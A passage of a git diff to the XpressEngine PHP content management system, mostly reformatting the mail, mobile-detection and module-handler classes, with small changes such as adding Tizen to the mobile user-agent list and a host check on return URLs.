-?> +/* End of file XEHttpRequest.class.php */ +/* Location: ./classes/httprequest/XEHttpRequest.class.php */ diff --git a/classes/mail/Mail.class.php b/classes/mail/Mail.class.php index 006376c5c..8a356afaa 100644 --- a/classes/mail/Mail.class.php +++ b/classes/mail/Mail.class.php @@ -1,4 +1,5 @@ =')) { require_once _XE_PATH_ . "libs/phpmailer/phpmailer.php"; @@ -9,12 +10,13 @@ else } /** -* Mailing class for XpressEngine -* -* @author NHN (developers@xpressengine.com) -*/ + * Mailing class for XpressEngine + * + * @author NHN (developers@xpressengine.com) + */ class Mail extends PHPMailer { + /** * Sender name * @var string @@ -85,7 +87,7 @@ class Mail extends PHPMailer * Content attachements * @var array */ - var $cidAttachments = array(); + var $cidAttachments = array(); /** * ??? @@ -130,22 +132,22 @@ class Mail extends PHPMailer var $use_smtp = FALSE; /** - * Constructor function - * - * @return void - */ + * Constructor function + * + * @return void + */ function Mail() { } /** - * Set parameters for using Gmail - * - * @param string $account_name Password - * @param string $account_passwd Secure method ('ssl','tls') - * @return void - */ + * Set parameters for using Gmail + * + * @param string $account_name Password + * @param string $account_passwd Secure method ('ssl','tls') + * @return void + */ function useGmailAccount($account_name, $account_passwd) { $this->SMTPAuth = TRUE; @@ -165,24 +167,24 @@ class Mail extends PHPMailer } /** - * Set parameters for using SMTP protocol - * - * @param bool $auth SMTP authentication - * @param string $host SMTP host address - * @param string $user SMTP user id - * @param string $pass STMP user password - * @param string $secure method ('ssl','tls') - * @param int $port STMP port - * - * @return bool TRUE if SMTP is set correct, otherwise return FALSE - */ + * Set parameters for using SMTP protocol + * + * @param bool $auth SMTP authentication + * @param string $host SMTP host address + * @param string $user SMTP user id + * @param string $pass STMP user password + * @param string $secure method ('ssl','tls') + * @param int $port STMP port + * + * @return bool TRUE if SMTP is set correct, otherwise return FALSE + */ function useSMTP($auth = NULL, $host = NULL, $user = NULL, $pass = NULL, $secure = NULL, $port = 25) { $this->SMTPAuth = $auth; - $this->Host = $host; + $this->Host = $host; $this->Username = $user; $this->Password = $pass; - $this->Port = $port; + $this->Port = $port; if($secure == 'ssl' || $secure == 'tls') { @@ -203,47 +205,47 @@ class Mail extends PHPMailer } /** - * Set additional parameters - * - * @param string $additional_params Additional parameters - * @return void - */ + * Set additional parameters + * + * @param string $additional_params Additional parameters + * @return void + */ function setAdditionalParams($additional_params) { $this->additional_params = $additional_params; } /** - * Add file attachment - * - * @param string $filename File name to attach - * @param string $orgfilename Real path of file to attach - * @return void - */ + * Add file attachment + * + * @param string $filename File name to attach + * @param string $orgfilename Real path of file to attach + * @return void + */ function addAttachment($filename, $orgfilename) { $this->attachments[$orgfilename] = $filename; } /** - * Add content attachment - * - * @param string $filename Real path of file to attach - * @param string $cid Content-CID - * @return void - */ + * Add content attachment + * + * @param string $filename Real path of file to attach + * @param string $cid Content-CID + * @return void + */ function addCidAttachment($filename, $cid) { $this->cidAttachments[$cid] = $filename; } /** - * Set Sender (From:) - * - * @param string $name Sender name - * @param string $email Sender email address - * @return void - */ + * Set Sender (From:) + * + * @param string $name Sender name + * @param string $email Sender email address + * @return void + */ function setSender($name, $email) { if($this->Mailer == "mail") @@ -258,10 +260,10 @@ class Mail extends PHPMailer } /** - * Get Sender (From:) - * - * @return string - */ + * Get Sender (From:) + * + * @return string + */ function getSender() { if(!stristr(PHP_OS, 'win') && $this->sender_name) @@ -272,12 +274,12 @@ class Mail extends PHPMailer } /** - * Set Receiptor (TO:) - * - * @param string $name Receiptor name - * @param string $email Receiptor email address - * @return void - */ + * Set Receiptor (TO:) + * + * @param string $name Receiptor name + * @param string $email Receiptor email address + * @return void + */ function setReceiptor($name, $email) { if($this->Mailer == "mail") @@ -292,10 +294,10 @@ class Mail extends PHPMailer } /** - * Get Receiptor (TO:) - * - * @return string - */ + * Get Receiptor (TO:) + * + * @return string + */ function getReceiptor() { if(!stristr(PHP_OS, 'win') && $this->receiptor_name && $this->receiptor_name != $this->receiptor_email) @@ -306,11 +308,11 @@ class Mail extends PHPMailer } /** - * Set Email's Title - * - * @param string $title Title to set - * @return void - */ + * Set Email's Title + * + * @param string $title Title to set + * @return void + */ function setTitle($title) { if($this->Mailer == "mail") @@ -324,21 +326,21 @@ class Mail extends PHPMailer } /** - * Get Email's Title - * - * @return string - */ + * Get Email's Title + * + * @return string + */ function getTitle() { return '=?utf-8?b?' . base64_encode($this->title) . '?='; } /** - * Set BCC - * - * @param string $bcc - * @return void - */ + * Set BCC + * + * @param string $bcc + * @return void + */ function setBCC($bcc) { if($this->Mailer == "mail") @@ -352,33 +354,33 @@ class Mail extends PHPMailer } /** - * Set Message ID - * - * @param string $messageId - * @return void - */ + * Set Message ID + * + * @param string $messageId + * @return void + */ function setMessageID($messageId) { $this->messageId = $messageId; } /** - * Set references - * - * @param string $references - * @return void - */ + * Set references + * + * @param string $references + * @return void + */ function setReferences($references) { $this->references = $references; } /** - * Set ReplyTo param - * - * @param string $replyTo - * @return void - */ + * Set ReplyTo param + * + * @param string $replyTo + * @return void + */ function setReplyTo($replyTo) { if($this->Mailer == "mail") @@ -392,11 +394,11 @@ class Mail extends PHPMailer } /** - * Set message content - * - * @param string $content Content - * @return void - */ + * Set message content + * + * @param string $content Content + * @return void + */ function setContent($content) { $content = preg_replace_callback('/]+)>/i', array($this, 'replaceResourceRealPath'), $content); @@ -411,53 +413,53 @@ class Mail extends PHPMailer } /** - * Replace resourse path of the files - * - * @see Mail::setContent() - * @param array $matches Match info. - * @return string - */ + * Replace resourse path of the files + * + * @see Mail::setContent() + * @param array $matches Match info. + * @return string + */ function replaceResourceRealPath($matches) { return preg_replace('/src=(["\']?)files/i', 'src=$1' . Context::getRequestUri() . 'files', $matches[0]); } /** - * Get the Plain content of body message - * - * @return string - */ + * Get the Plain content of body message + * + * @return string + */ function getPlainContent() { return chunk_split(base64_encode(str_replace(array("<", ">", "&"), array("<", ">", "&"), $this->content))); } /** - * Get the HTML content of body message - * - * @return string - */ + * Get the HTML content of body message + * + * @return string + */ function getHTMLContent() { - return chunk_split(base64_encode($this->content_type != 'html' ? nl2br($this->content):$this->content)); + return chunk_split(base64_encode($this->content_type != 'html' ? nl2br($this->content) : $this->content)); } /** - * Set the type of body's content - * - * @param string $mode - * @return void - */ + * Set the type of body's content + * + * @param string $mode + * @return void + */ function setContentType($mode = 'html') { - $this->content_type = $mode == 'html' ? 'html':''; + $this->content_type = $mode == 'html' ? 'html' : ''; } /** - * Process the images from attachments - * - * @return void - */ + * Process the images from attachments + * + * @return void + */ function procAttachments() { if($this->Mailer == "mail") @@ -477,19 +479,14 @@ class Mail extends PHPMailer $file_str = $file_handler->readFile($attachment); $chunks = chunk_split(base64_encode($file_str)); $tempBody = sprintf( - "--" . $boundary . $this->eol . - "Content-Type: %s;" . $this->eol . - "\tname=\"%s\"" . $this->eol . - "Content-Transfer-Encoding: base64" . $this->eol . - "Content-Description: %s" . $this->eol . - "Content-Disposition: attachment;" . $this->eol . - "\tfilename=\"%s\"" . $this->eol . $this->eol . - "%s" . $this->eol . $this->eol, - $type, - $filename, - $filename, - $filename, - $chunks); + "--" . $boundary . $this->eol . + "Content-Type: %s;" . $this->eol . + "\tname=\"%s\"" . $this->eol . + "Content-Transfer-Encoding: base64" . $this->eol . + "Content-Description: %s" . $this->eol . + "Content-Disposition: attachment;" . $this->eol . + "\tfilename=\"%s\"" . $this->eol . $this->eol . + "%s" . $this->eol . $this->eol, $type, $filename, $filename, $filename, $chunks); $res[] = $tempBody; } $this->body = implode("", $res); @@ -509,10 +506,10 @@ class Mail extends PHPMailer } /** - * Process the images from body content. This functions is used if Mailer is set as mail not as SMTP - * - * @return void - */ + * Process the images from body content. This functions is used if Mailer is set as mail not as SMTP + * + * @return void + */ function procCidAttachments() { if(count($this->cidAttachments) > 0) @@ -530,20 +527,14 @@ class Mail extends PHPMailer $file_str = FileHandler::readFile($attachment); $chunks = chunk_split(base64_encode($file_str)); $tempBody = sprintf( - "--" . $boundary . $this->eol . - "Content-Type: %s;" . $this->eol . - "\tname=\"%s\"" . $this->eol . - "Content-Transfer-Encoding: base64" . $this->eol . - "Content-ID: <%s>" . $this->eol . - "Content-Description: %s" . $this->eol . - "Content-Location: %s" . $this->eol . $this->eol . - "%s" . $this->eol . $this->eol, - $type, - $filename, - $cid, - $filename, - $filename, - $chunks); + "--" . $boundary . $this->eol . + "Content-Type: %s;" . $this->eol . + "\tname=\"%s\"" . $this->eol . + "Content-Transfer-Encoding: base64" . $this->eol . + "Content-ID: <%s>" . $this->eol . + "Content-Description: %s" . $this->eol . + "Content-Location: %s" . $this->eol . $this->eol . + "%s" . $this->eol . $this->eol, $type, $filename, $cid, $filename, $filename, $chunks); $res[] = $tempBody; } $this->body = implode("", $res); @@ -552,10 +543,10 @@ class Mail extends PHPMailer } /** - * Send email - * - * @return bool TRUE in case of success, FALSE if sending fails - */ + * Send email + * + * @return bool TRUE in case of success, FALSE if sending fails + */ function send() { if($this->Mailer == "mail") @@ -564,38 +555,28 @@ class Mail extends PHPMailer $this->eol = $GLOBALS['_qmail_compatibility'] == "Y" ? "\n" : "\r\n"; $this->header = "Content-Type: multipart/alternative;" . $this->eol . "\tboundary=\"" . $boundary . "\"" . $this->eol . $this->eol; $this->body = sprintf( - "--%s" . $this->eol . - "Content-Type: text/plain; charset=utf-8; format=flowed" . $this->eol . - "Content-Transfer-Encoding: base64" . $this->eol . - "Content-Disposition: inline" . $this->eol . $this->eol . - "%s" . - "--%s" . $this->eol . - "Content-Type: text/html; charset=utf-8" . $this->eol . - "Content-Transfer-Encoding: base64" . $this->eol . - "Content-Disposition: inline" . $this->eol . $this->eol . - "%s" . - "--%s--" . - "", - $boundary, - $this->getPlainContent(), - $boundary, - $this->getHTMLContent(), - $boundary + "--%s" . $this->eol . + "Content-Type: text/plain; charset=utf-8; format=flowed" . $this->eol . + "Content-Transfer-Encoding: base64" . $this->eol . + "Content-Disposition: inline" . $this->eol . $this->eol . + "%s" . + "--%s" . $this->eol . + "Content-Type: text/html; charset=utf-8" . $this->eol . + "Content-Transfer-Encoding: base64" . $this->eol . + "Content-Disposition: inline" . $this->eol . $this->eol . + "%s" . + "--%s--" . + "", $boundary, $this->getPlainContent(), $boundary, $this->getHTMLContent(), $boundary ); $this->procCidAttachments(); $this->procAttachments(); $headers = sprintf( - "From: %s" . $this->eol . - "%s" . - "%s" . - "%s" . - "%s" . - "MIME-Version: 1.0" . $this->eol . "", - $this->getSender(), - $this->messageId ? ("Message-ID: <" . $this->messageId . ">" . $this->eol):"", - $this->replyTo ? ("Reply-To: <" . $this->replyTo . ">" . $this->eol):"", - $this->bcc ? ("Bcc: " . $this->bcc . $this->eol):"", - $this->references ? ("References: <" . $this->references . ">" . $this->eol . "In-Reply-To: <" . $this->references . ">" . $this->eol):"" + "From: %s" . $this->eol . + "%s" . + "%s" . + "%s" . + "%s" . + "MIME-Version: 1.0" . $this->eol . "", $this->getSender(), $this->messageId ? ("Message-ID: <" . $this->messageId . ">" . $this->eol) : "", $this->replyTo ? ("Reply-To: <" . $this->replyTo . ">" . $this->eol) : "", $this->bcc ? ("Bcc: " . $this->bcc . $this->eol) : "", $this->references ? ("References: <" . $this->references . ">" . $this->eol . "In-Reply-To: <" . $this->references . ">" . $this->eol) : "" ); $headers .= $this->header; if($this->additional_params) @@ -612,11 +593,11 @@ class Mail extends PHPMailer } /** - * Check if DNS of param is real or fake - * - * @param string $email_address Email address - * @return boolean TRUE if param is valid DNS otherwise FALSE - */ + * Check if DNS of param is real or fake + * + * @param string $email_address Email address + * @return boolean TRUE if param is valid DNS otherwise FALSE + */ function checkMailMX($email_address) { if(!Mail::isVaildMailAddress($email_address)) @@ -639,11 +620,11 @@ class Mail extends PHPMailer } /** - * Check if param is a valid email or not - * - * @param string $email_address Email address - * @return string email address if param is valid email address otherwise blank string - */ + * Check if param is a valid email or not + * + * @param string $email_address Email address + * @return string email address if param is valid email address otherwise blank string + */ function isVaildMailAddress($email_address) { if(preg_match("/([a-z0-9\_\-\.]+)@([a-z0-9\_\-\.]+)/i", $email_address)) @@ -657,11 +638,11 @@ class Mail extends PHPMailer } /** - * Gets the MIME type of param - * - * @param string $filename filename - * @return string MIME type of ext - */ + * Gets the MIME type of param + * + * @param string $filename filename + * @return string MIME type of ext + */ function returnMIMEType($filename) { preg_match("|\.([a-z0-9]{2,4})$|i", $filename, $fileSuffix); @@ -740,6 +721,7 @@ class Mail extends PHPMailer return "unknown/" . trim($fileSuffix[0], "."); } } + } /* End of file Mail.class.php */ /* Location: ./classes/mail/Mail.class.php */ diff --git a/classes/mobile/Mobile.class.php b/classes/mobile/Mobile.class.php index 05aa40b5f..ab6228f55 100644 --- a/classes/mobile/Mobile.class.php +++ b/classes/mobile/Mobile.class.php @@ -5,21 +5,27 @@ * * @author NHN (developers@xpressengine.com) */ -class Mobile { +class Mobile +{ + /** * Whether mobile or not mobile mode * @var bool */ - var $ismobile = null; + var $ismobile = NULL; /** * Get instance of Mobile class(for singleton) * * @return Mobile */ - function &getInstance() { + function &getInstance() + { static $theInstance; - if(!isset($theInstance)) $theInstance = new Mobile(); + if(!isset($theInstance)) + { + $theInstance = new Mobile(); + } return $theInstance; } @@ -28,8 +34,9 @@ class Mobile { * * @return bool If mobile mode returns true or false */ - function isFromMobilePhone() { - $oMobile =& Mobile::getInstance(); + function isFromMobilePhone() + { + $oMobile = & Mobile::getInstance(); return $oMobile->_isFromMobilePhone(); } @@ -38,11 +45,16 @@ class Mobile { * * @return bool */ - function _isFromMobilePhone() { - if($this->ismobile !== null) return $this->ismobile; + function _isFromMobilePhone() + { + if($this->ismobile !== NULL) + { + return $this->ismobile; + } $db_info = Context::getDBInfo(); - if($db_info->use_mobile_view != "Y" || Context::get('full_browse') || $_COOKIE["FullBrowse"]) { + if($db_info->use_mobile_view != "Y" || Context::get('full_browse') || $_COOKIE["FullBrowse"]) + { return ($this->ismobile = false); } @@ -52,19 +64,28 @@ class Mobile { $this->ismobile = FALSE; $m = Context::get('m'); - if(strlen($m)==1) { - if($m == "1") { - $this->ismobile = true; - } elseif($m == "0") { - $this->ismobile = false; + if(strlen($m) == 1) + { + if($m == "1") + { + $this->ismobile = TRUE; } - } elseif(isset($_COOKIE['mobile'])) { + elseif($m == "0") + { + $this->ismobile = FALSE; + } + } + elseif(isset($_COOKIE['mobile'])) + { if($_COOKIE['user-agent'] == md5($_SERVER['HTTP_USER_AGENT'])) { - if($_COOKIE['mobile'] == 'true') { - $this->ismobile = true; - } else { - $this->ismobile = false; + if($_COOKIE['mobile'] == 'true') + { + $this->ismobile = TRUE; + } + else + { + $this->ismobile = FALSE; } } else @@ -111,7 +132,7 @@ class Mobile { if($_COOKIE['user-agent'] != md5($_SERVER['HTTP_USER_AGENT'])) { - setcookie("user-agent",md5($_SERVER['HTTP_USER_AGENT']), 0, $xe_web_path); + setcookie("user-agent", md5($_SERVER['HTTP_USER_AGENT']), 0, $xe_web_path); } } @@ -126,11 +147,13 @@ class Mobile { function isMobileCheckByAgent() { static $UACheck; - if(isset($UACheck)) return $UACheck; + if(isset($UACheck)) + { + return $UACheck; + } - $oMobile =& Mobile::getInstance(); - // stripos is only for PHP5. - $mobileAgent = unserialize(strtolower(serialize(array('iPod','iPhone','Android','BlackBerry','SymbianOS','Bada','Kindle','Wii','SCH-','SPH-','CANU-','Windows Phone','Windows CE','POLARIS','Palm','Dorothy Browser','Mobile','Opera Mobi','Opera Mini','Minimo','AvantGo','NetFront','Nokia','LGPlayer','SonyEricsson','HTC')))); + $oMobile = Mobile::getInstance(); + $mobileAgent = array('iPod', 'iPhone', 'Android', 'BlackBerry', 'SymbianOS', 'Bada', 'Tizen', 'Kindle', 'Wii', 'SCH-', 'SPH-', 'CANU-', 'Windows Phone', 'Windows CE', 'POLARIS', 'Palm', 'Dorothy Browser', 'Mobile', 'Opera Mobi', 'Opera Mini', 'Minimo', 'AvantGo', 'NetFront', 'Nokia', 'LGPlayer', 'SonyEricsson', 'HTC'); if($oMobile->isMobilePadCheckByAgent()) { @@ -140,9 +163,7 @@ class Mobile { foreach($mobileAgent as $agent) { - // stripos is only for PHP5.. - $httpUA = strtolower($_SERVER['HTTP_USER_AGENT']); - if(strpos($httpUA, $agent) !== FALSE) + if(stripos($_SERVER['HTTP_USER_AGENT'], $agent) !== FALSE) { $UACheck = TRUE; return TRUE; @@ -160,12 +181,15 @@ class Mobile { function isMobilePadCheckByAgent() { static $UACheck; - if(isset($UACheck)) return $UACheck; - $padAgent = array('iPad','Android','webOS','hp-tablet','PlayBook'); + if(isset($UACheck)) + { + return $UACheck; + } + $padAgent = array('iPad', 'Android', 'webOS', 'hp-tablet', 'PlayBook'); // Android with 'Mobile' string is not a tablet-like device, and 'Andoroid' without 'Mobile' string is a tablet-like device. // $exceptionAgent[0] contains exception agents for all exceptions. - $exceptionAgent = array(0 => array('Opera Mini','Opera Mobi'),'Android' => 'Mobile'); + $exceptionAgent = array(0 => array('Opera Mini', 'Opera Mobi'), 'Android' => 'Mobile'); foreach($padAgent as $agent) { @@ -205,9 +229,9 @@ class Mobile { */ function setMobile($ismobile) { - $oMobile =& Mobile::getInstance(); + $oMobile = Mobile::getInstance(); $oMobile->ismobile = $ismobile; } -} +} ?> diff --git a/classes/module/ModuleHandler.class.php b/classes/module/ModuleHandler.class.php index 77edaac80..068ad18fa 100644 --- a/classes/module/ModuleHandler.class.php +++ b/classes/module/ModuleHandler.class.php @@ -1,335 +1,510 @@ module = 'install'; + $this->act = Context::get('act'); + return; + } - /** - * prepares variables to use in moduleHandler - * @param string $module name of module - * @param string $act name of action - * @param int $mid - * @param int $document_srl - * @param int $module_srl - * @return void - **/ - function ModuleHandler($module = '', $act = '', $mid = '', $document_srl = '', $module_srl = '') { - // If XE has not installed yet, set module as install - if(!Context::isInstalled()) { - $this->module = 'install'; - $this->act = Context::get('act'); - return; - } + $oContext = Context::getInstance(); + if($oContext->isSuccessInit == FALSE) + { + $this->error = 'msg_invalid_request'; + return; + } - $oContext = Context::getInstance(); - if($oContext->isSuccessInit == false) + // Set variables from request arguments + $this->module = $module ? $module : Context::get('module'); + $this->act = $act ? $act : Context::get('act'); + $this->mid = $mid ? $mid : Context::get('mid'); + $this->document_srl = $document_srl ? (int) $document_srl : (int) Context::get('document_srl'); + $this->module_srl = $module_srl ? (int) $module_srl : (int) Context::get('module_srl'); + $this->entry = Context::convertEncodingStr(Context::get('entry')); + + // Validate variables to prevent XSS + $isInvalid = NULL; + if($this->module && !preg_match("/^([a-z0-9\_\-]+)$/i", $this->module)) + { + $isInvalid = TRUE; + } + if($this->mid && !preg_match("/^([a-z0-9\_\-]+)$/i", $this->mid)) + { + $isInvalid = TRUE; + } + if($this->act && !preg_match("/^([a-z0-9\_\-]+)$/i", $this->act)) + { + $isInvalid = TRUE; + } + if($isInvalid) + { + htmlHeader(); + echo Context::getLang("msg_invalid_request"); + htmlFooter(); + Context::close(); + exit; + } + + if(isset($this->act) && substr($this->act, 0, 4) == 'disp') + { + if(Context::get('_use_ssl') == 'optional' && Context::isExistsSSLAction($this->act) && $_SERVER['HTTPS'] != 'on') { - $this->error = 'msg_invalid_request'; + header('location:https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); return; } + } - // Set variables from request arguments - $this->module = $module?$module:Context::get('module'); - $this->act = $act?$act:Context::get('act'); - $this->mid = $mid?$mid:Context::get('mid'); - $this->document_srl = $document_srl?(int)$document_srl:(int)Context::get('document_srl'); - $this->module_srl = $module_srl?(int)$module_srl:(int)Context::get('module_srl'); - $this->entry = Context::convertEncodingStr(Context::get('entry')); + // execute addon (before module initialization) + $called_position = 'before_module_init'; + $oAddonController = getController('addon'); + $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone() ? 'mobile' : 'pc'); + @include($addon_file); + } - // Validate variables to prevent XSS - $isInvalid = null; - if($this->module && !preg_match("/^([a-z0-9\_\-]+)$/i",$this->module)) $isInvalid = true; - if($this->mid && !preg_match("/^([a-z0-9\_\-]+)$/i",$this->mid)) $isInvalid = true; - if($this->act && !preg_match("/^([a-z0-9\_\-]+)$/i",$this->act)) $isInvalid = true; - if ($isInvalid) + /** + * Initialization. It finds the target module based on module, mid, document_srl, and prepares to execute an action + * @return boolean true: OK, false: redirected + * */ + function init() + { + // if success_return_url and error_return_url is incorrect + $urls = array(Context::get('success_return_url'), Context::get('error_return_url')); + foreach($urls as $url) + { + if(empty($url)) { - htmlHeader(); - echo Context::getLang("msg_invalid_request"); - htmlFooter(); - Context::close(); - exit; + continue; } - if(isset($this->act) && substr($this->act, 0, 4) == 'disp') + $urlInfo = parse_url($url); + $host = $urlInfo['host']; + + $dbInfo = Context::getDBInfo(); + $defaultUrlInfo = parse_url($dbInfo->default_url); + $defaultHost = $defaultUrlInfo['host']; + + if($host && $host != $defaultHost) { - if(Context::get('_use_ssl') == 'optional' && Context::isExistsSSLAction($this->act) && $_SERVER['HTTPS'] != 'on') + throw new Exception('msg_default_url_is_null'); + } + } + + $oModuleModel = getModel('module'); + $site_module_info = Context::get('site_module_info'); + + if(!$this->document_srl && $this->mid && $this->entry) + { + $oDocumentModel = &getModel('document'); + $this->document_srl = $oDocumentModel->getDocumentSrlByAlias($this->mid, $this->entry); + if($this->document_srl) + { + Context::set('document_srl', $this->document_srl); + } + } + + // Get module's information based on document_srl, if it's specified + if($this->document_srl && !$this->module) + { + $module_info = $oModuleModel->getModuleInfoByDocumentSrl($this->document_srl); + + // If the document does not exist, remove document_srl + if(!$module_info) + { + unset($this->document_srl); + } + else + { + // If it exists, compare mid based on the module information + // if mids are not matching, set it as the document's mid + if($this->mid != $module_info->mid) { - header('location:https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); - return; + $this->mid = $module_info->mid; + Context::set('mid', $module_info->mid, TRUE); + header('location:' . getNotEncodedSiteUrl($site_info->domain, 'mid', $this->mid, 'document_srl', $this->document_srl)); + return FALSE; } } + // if requested module is different from one of the document, remove the module information retrieved based on the document number + if($this->module && $module_info->module != $this->module) + { + unset($module_info); + } + } - // execute addon (before module initialization) - $called_position = 'before_module_init'; - $oAddonController = &getController('addon'); - $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone()?'mobile':'pc'); - @include($addon_file); - } + // If module_info is not set yet, and there exists mid information, get module information based on the mid + if(!$module_info && $this->mid) + { + $module_info = $oModuleModel->getModuleInfoByMid($this->mid, $site_module_info->site_srl); + //if($this->module && $module_info->module != $this->module) unset($module_info); + } - /** - * Initialization. It finds the target module based on module, mid, document_srl, and prepares to execute an action - * @return boolean true: OK, false: redirected - **/ - function init() { - $oModuleModel = &getModel('module'); - $site_module_info = Context::get('site_module_info'); + // redirect, if module_site_srl and site_srl are different + if(!$this->module && !$module_info && $site_module_info->site_srl == 0 && $site_module_info->module_site_srl > 0) + { + $site_info = $oModuleModel->getSiteInfo($site_module_info->module_site_srl); + header("location:" . getNotEncodedSiteUrl($site_info->domain, 'mid', $site_module_info->mid)); + return FALSE; + } - if(!$this->document_srl && $this->mid && $this->entry) { - $oDocumentModel = &getModel('document'); - $this->document_srl = $oDocumentModel->getDocumentSrlByAlias($this->mid, $this->entry); - if($this->document_srl) Context::set('document_srl', $this->document_srl); - } + // If module_info is not set still, and $module does not exist, find the default module + if(!$module_info && !$this->module && !$this->mid) + { + $module_info = $site_module_info; + } - // Get module's information based on document_srl, if it's specified - if($this->document_srl && !$this->module) { - $module_info = $oModuleModel->getModuleInfoByDocumentSrl($this->document_srl); + if(!$module_info && !$this->module && $site_module_info->module_site_srl) + { + $module_info = $site_module_info; + } - // If the document does not exist, remove document_srl - if(!$module_info) { - unset($this->document_srl); - } else { - // If it exists, compare mid based on the module information - // if mids are not matching, set it as the document's mid - if($this->mid != $module_info->mid) { - $this->mid = $module_info->mid; - Context::set('mid', $module_info->mid, true); - header('location:' . getNotEncodedSiteUrl($site_info->domain, 'mid', $this->mid, 'document_srl', $this->document_srl)); - return false; - } - } - // if requested module is different from one of the document, remove the module information retrieved based on the document number - if($this->module && $module_info->module != $this->module) unset($module_info); - } - - // If module_info is not set yet, and there exists mid information, get module information based on the mid - if(!$module_info && $this->mid) { - $module_info = $oModuleModel->getModuleInfoByMid($this->mid, $site_module_info->site_srl); - //if($this->module && $module_info->module != $this->module) unset($module_info); - } - - // redirect, if module_site_srl and site_srl are different - if(!$this->module && !$module_info && $site_module_info->site_srl == 0 && $site_module_info->module_site_srl > 0) { - $site_info = $oModuleModel->getSiteInfo($site_module_info->module_site_srl); - header("location:".getNotEncodedSiteUrl($site_info->domain,'mid',$site_module_info->mid)); - return false; - } - - // If module_info is not set still, and $module does not exist, find the default module - if(!$module_info && !$this->module && !$this->mid) $module_info = $site_module_info; - - if(!$module_info && !$this->module && $site_module_info->module_site_srl) $module_info = $site_module_info; - - // redirect, if site_srl of module_info is different from one of site's module_info - if($module_info && $module_info->site_srl != $site_module_info->site_srl && !isCrawler()) { - // If the module is of virtual site - if($module_info->site_srl) { - $site_info = $oModuleModel->getSiteInfo($module_info->site_srl); - $redirect_url = getNotEncodedSiteUrl($site_info->domain, 'mid',Context::get('mid'),'document_srl',Context::get('document_srl'),'module_srl',Context::get('module_srl'),'entry',Context::get('entry')); - // If it's called from a virtual site, though it's not a module of the virtual site - } else { - $db_info = Context::getDBInfo(); - if(!$db_info->default_url) return Context::getLang('msg_default_url_is_not_defined'); - else $redirect_url = getNotEncodedSiteUrl($db_info->default_url, 'mid',Context::get('mid'),'document_srl',Context::get('document_srl'),'module_srl',Context::get('module_srl'),'entry',Context::get('entry')); - } - header("location:".$redirect_url); - return false; - } - - // If module info was set, retrieve variables from the module information - if($module_info) { - $this->module = $module_info->module; - $this->mid = $module_info->mid; - $this->module_info = $module_info; - Context::setBrowserTitle($module_info->browser_title); - - if($module_info->use_mobile && Mobile::isFromMobilePhone()) + // redirect, if site_srl of module_info is different from one of site's module_info + if($module_info && $module_info->site_srl != $site_module_info->site_srl && !isCrawler()) + { + // If the module is of virtual site + if($module_info->site_srl) + { + $site_info = $oModuleModel->getSiteInfo($module_info->site_srl); + $redirect_url = getNotEncodedSiteUrl($site_info->domain, 'mid', Context::get('mid'), 'document_srl', Context::get('document_srl'), 'module_srl', Context::get('module_srl'), 'entry', Context::get('entry')); + // If it's called from a virtual site, though it's not a module of the virtual site + } + else + { + $db_info = Context::getDBInfo(); + if(!$db_info->default_url) { - $layoutSrl = $module_info->mlayout_srl; + return Context::getLang('msg_default_url_is_not_defined'); } else { - $layoutSrl = $module_info->layout_srl; - } - - $part_config= $oModuleModel->getModulePartConfig('layout',$layoutSrl); - Context::addHtmlHeader($part_config->header_script); - } - - // Set module and mid into module_info - $this->module_info->module = $this->module; - $this->module_info->mid = $this->mid; - - // Set site_srl add 2011 08 09 - $this->module_info->site_srl = $site_module_info->site_srl; - - // Still no module? it's an error - if(!$this->module) - { - $this->error = 'msg_module_is_not_exists'; - $this->httpStatusCode = '404'; - } - - // If mid exists, set mid into context - if($this->mid) Context::set('mid', $this->mid, true); - - // Call a trigger after moduleHandler init - $output = ModuleHandler::triggerCall('moduleHandler.init', 'after', $this->module_info); - if(!$output->toBool()) { - $this->error = $output->getMessage(); - return false; - } - - // Set current module info into context - Context::set('current_module_info', $this->module_info); - - return true; - } - - /** - * get a module instance and execute an action - * @return ModuleObject executed module instance - **/ - function procModule() { - $oModuleModel = &getModel('module'); - - // If error occurred while preparation, return a message instance - if($this->error) { - $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); - $oMessageObject->dispMessage(); - if($this->httpStatusCode) - { - $oMessageObject->setHttpStatusCode($this->httpStatusCode); - } - return $oMessageObject; - } - - // Get action information with conf/module.xml - $xml_info = $oModuleModel->getModuleActionXml($this->module); - - // If not installed yet, modify act - if($this->module=="install") { - if(!$this->act || !$xml_info->action->{$this->act}) $this->act = $xml_info->default_index_act; - } - - // if act exists, find type of the action, if not use default index act - if(!$this->act) $this->act = $xml_info->default_index_act; - - // still no act means error - if(!$this->act) { - $this->error = 'msg_module_is_not_exists'; - $this->httpStatusCode = '404'; - - $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); - $oMessageObject->dispMessage(); - if($this->httpStatusCode) - { - $oMessageObject->setHttpStatusCode($this->httpStatusCode); - } - return $oMessageObject; - } - - // get type, kind - $type = $xml_info->action->{$this->act}->type; - $ruleset = $xml_info->action->{$this->act}->ruleset; - $kind = strpos(strtolower($this->act),'admin')!==false?'admin':''; - if(!$kind && $this->module == 'admin') $kind = 'admin'; - if($this->module_info->use_mobile != "Y") Mobile::setMobile(false); - - // admin menu check - if(Context::isInstalled()) - { - $oMenuAdminModel = &getAdminModel('menu'); - $output = $oMenuAdminModel->getMenuByTitle('__XE_ADMIN__'); - - if(!$output->menu_srl) - { - $oAdminClass = &getClass('admin'); - $oAdminClass->createXeAdminMenu(); - } - else if(!is_readable($output->php_file)) - { - $oMenuAdminController = &getAdminController('menu'); - $oMenuAdminController->makeXmlFile($output->menu_srl); + $redirect_url = getNotEncodedSiteUrl($db_info->default_url, 'mid', Context::get('mid'), 'document_srl', Context::get('document_srl'), 'module_srl', Context::get('module_srl'), 'entry', Context::get('entry')); } } + header("location:" . $redirect_url); + return FALSE; + } - // Admin ip - $logged_info = Context::get('logged_info'); - if($kind == 'admin' && $_SESSION['denied_admin'] == 'Y'){ - $this->error = "msg_not_permitted_act"; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); + // If module info was set, retrieve variables from the module information + 